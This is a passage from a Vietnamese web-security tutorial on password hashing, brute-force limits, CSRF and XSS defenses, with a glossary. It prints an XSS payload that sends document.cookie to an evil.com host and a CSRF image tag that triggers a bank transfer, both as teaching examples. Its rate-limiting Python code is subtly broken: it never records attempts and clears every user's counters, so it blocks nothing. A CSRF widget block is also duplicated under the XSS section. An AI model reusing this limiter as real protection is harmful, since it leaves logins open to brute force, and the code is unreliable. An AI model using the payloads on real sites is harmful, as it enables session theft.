Do not store plaintext passwords. Do not use fast unsalted hashes such as MD5, SHA1, or direct SHA256 for passwords. Use a dedicated password hash or KDF with cost and salt.
🌈 Why Rainbow Tables Fail: Same Password + Different Salt → Different Result
salt A
hash A
-
salt B
hash B
-
Rainbow tables rely on precomputation. If the same password always produced the same hash, attackers could look it up quickly. Salt makes precomputation explode in cost.

5.2 Chống brute force ​

  • Rate limiting: cùng một IP / username, 1 phút chỉ được thử 5 lần.
  • CAPTCHA: thất bại 3 lần thì yêu cầu nhập CAPTCHA.
  • Khóa tài khoản: thất bại 10 lần thì khóa tài khoản 30 phút.
python
from functools import lru_cache
import time

@lru_cache(maxsize=10000)
def get_login_attempts(identifier: str) -> tuple:
    """Trả về (số lần thử, thời gian thử đầu tiên)"""
    return (0, 0)

def check_rate_limit(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    now = time.time()

    # Reset sau 1 phút
    if now - first_attempt > 60:
        get_login_attempts.cache_clear()
        return True

    # Vượt quá 5 lần, từ chối
    if attempts >= 5:
        return False

    return True

def record_login_attempt(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    if attempts == 0:
        first_attempt = time.time()
    get_login_attempts.cache_clear()
    get_login_attempts(identifier)  # Cache lại

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]

    # Kiểm tra rate limit
    if not check_rate_limit(username):
        return {"error": "Thử quá nhiều lần, vui lòng thử lại sau 1 phút"}, 429

    password = request.json["password"]

    # Xác minh mật khẩu
    user = db.get_user_by_username(username)
    if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
        # Đăng nhập thành công, xóa bộ đếm
        get_login_attempts.cache_clear()
        return {"token": generate_token(user)}
    else:
        # Đăng nhập thất bại, ghi lại
        record_login_attempt(username)
        return {"error": "Sai username hoặc mật khẩu"}, 401

5.3 Chống CSRF (Cross-Site Request Forgery) ​

Tình huống tấn công: Bạn đã đăng nhập vào trang web ngân hàng bank.com, sau đó truy cập trang web độc hại evil.com. Trong trang evil.com có một đoạn code:

html
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" />

Trình duyệt của bạn sẽ gửi kèm Cookie của ngân hàng để thực hiện request này (cross-domain request), dẫn đến tiền bị chuyển đi.

Biện pháp phòng thủ:

  1. CSRF Token:
    • Server-side tạo Token ngẫu nhiên, đặt trong form.
    • Khi submit thì xác minh Token có khớp không.
python
from flask import session

@app.route("/api/transfer", methods=["POST"])
def transfer():
    # Xác minh CSRF Token
    token = request.headers.get("X-CSRF-Token")
    if token != session.get("csrf_token"):
        return {"error": "CSRF Token không hợp lệ"}, 403

    # Thực hiện chuyển khoản
    ...
  1. SameSite Cookie:
    • Đặt thuộc tính SameSite của Cookie thành Strict hoặc Lax.
python
# Flask ví dụ
app.config.update(
    SESSION_COOKIE_SAMESITE='Lax',  # hoặc 'Strict'
    SESSION_COOKIE_SECURE=True      # Chỉ cho phép HTTPS
)
  1. Dùng JWT (không dùng Cookie):
    • JWT lưu trong localStorage, không tự động gửi kèm, tự nhiên chống CSRF.
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

5.4 Chống XSS (Cross-Site Scripting) ​

Tình huống tấn công: Người dùng độc hại nhập vào phần bình luận:

html
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

Nếu trang web trực tiếp render nội dung này, Cookie của người dùng khác sẽ bị đánh cắp.

Biện pháp phòng thủ:

  1. Output escaping:
    • Chuyển < thành &lt;, > thành &gt;.
python
import html

def render_comment(comment):
    # Escape HTML
    safe_comment = html.escape(comment)
    return f"<div class='comment'>{safe_comment}</div>"
  1. Content Security Policy (CSP):
    • Đặt HTTP header, giới hạn nguồn script.
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
  1. HttpOnly Cookie:
    • Đặt thuộc tính HttpOnly của Cookie, JavaScript không thể đọc.
python
app.config.update(
    SESSION_COOKIE_HTTPONLY=True
)
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

6. Tổng kết và lộ trình học tập ​

Xác thực là "kỹ năng cơ bản" của hệ thống backend, nắm vững nó mới có thể xây dựng ứng dụng an toàn và đáng tin cậy.

6.1 Kiến thức cốt lõi ​

Kiến thứcMức độ quan trọngĐộ khóTần suất thực chiến
Session + Cookie⭐⭐⭐⭐Trung bìnhCao
JWT⭐⭐⭐⭐⭐ThấpRất cao
OAuth 2.0⭐⭐⭐⭐CaoCao
Hash mật khẩu (bcrypt)⭐⭐⭐⭐⭐ThấpRất cao
Rate limit & chống brute force⭐⭐⭐⭐⭐Trung bìnhRất cao
Phòng thủ CSRF⭐⭐⭐⭐Trung bìnhTrung bình
Phòng thủ XSS⭐⭐⭐⭐ThấpCao

6.2 Lộ trình học tập ​

  1. Nhập môn (1-2 ngày):

    • Hiểu xác thực vs ủy quyền.
    • Nắm vững nguyên lý Session + Cookie.
    • Triển khai chức năng đăng ký đăng nhập đơn giản.
  2. Nâng cao (1 tuần):

    • Học nguyên lý và triển khai JWT.
    • Triển khai hệ thống xác thực dựa trên JWT.
    • Nắm vững hash mật khẩu (bcrypt).
  3. Thực chiến (2-4 tuần):

    • Tích hợp OAuth 2.0 (đăng nhập WeChat, Google).
    • Triển khai rate limit, chống brute force.
    • Phòng thủ CSRF, XSS và các tấn công phổ biến.
  4. Chuyên sâu (liên tục):

    • Học RBAC (kiểm soát truy cập dựa trên vai trò).
    • Nghiên cứu SSO (Single Sign-On).
    • Khám phá Zero Trust Architecture.

6.3 Tài nguyên khuyến nghị ​

  • Tiêu chuẩn:
    • RFC 6749 (OAuth 2.0)
    • RFC 7519 (JWT)
  • Bài viết:
    • JWT.io: https://jwt.io/
    • OAuth 2.0: https://oauth.net/2/
  • Công cụ:
    • jwt.io (JWT online debug)
    • Postman (API testing)

7. Bảng tra cứu thuật ngữ (Glossary) ​

Thuật ngữTên đầy đủGiải thích
AuthNAuthenticationXác thực. Xác nhận "bạn là ai" (như nhập mật khẩu xác minh danh tính).
AuthZAuthorizationỦy quyền. Xác nhận "bạn có thể làm gì" (như admin mới được xóa).
Session-Phiên. Thông tin trạng thái người dùng được lưu ở server.
Cookie-Cookie. Dữ liệu nhỏ được lưu trong trình duyệt, mỗi request đều tự động gửi kèm.
JWTJSON Web TokenJSON Web Token. Một giải pháp xác thực stateless, gồm ba phần Header, Payload, Signature.
OAuth 2.0-Ủy quyền mở. Framework chuẩn hóa cho đăng nhập bên thứ ba (như "đăng nhập bằng WeChat").
SSOSingle Sign-OnĐăng nhập một lần. Đăng nhập một lần, truy cập được nhiều ứng dụng (như tài khoản Google).
RBACRole-Based Access ControlKiểm soát truy cập dựa trên vai trò. Quyết định quyền dựa trên vai trò của người dùng (như admin, user).
CSRFCross-Site Request ForgeryGiả mạo request cross-site. Kẻ tấn công dụ người dùng gửi request độc hại (như dùng Cookie của bạn để chuyển tiền).
XSSCross-Site ScriptingTấn công script cross-site. Kẻ tấn công chèn script độc hại vào trang web (như đánh cắp Cookie).
bcrypt-Thuật toán hash mật khẩu. Một thuật toán hash chậm, chuyên dùng để lưu mật khẩu, chống brute force.
Access Token-Token truy cập. Token có hiệu lực ngắn hạn, dùng để truy cập API.
Refresh Token-Token làm mới. Token có hiệu lực dài hạn, dùng để lấy Access Token mới.
Scope-Phạm vi quyền. Khái niệm trong OAuth 2.0, biểu thị quyền mà ứng dụng bên thứ ba yêu cầu (như đọc thông tin người dùng).
PKCEProof Key for Code ExchangeKhóa chứng minh trao đổi authorization code. Phần mở rộng của OAuth 2.0, dùng để tăng cường bảo mật cho public client (như SPA).
Edit this page on GitHub
Pager
Trang trướcSerialization: "Phiên dịch" dữ liệu
Trang tiếp theoĐồng thời, Bất đồng bộ và Đa luồng

京ICP备2026002630号-1 | 京公网安备11010602202215号

本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 进行许可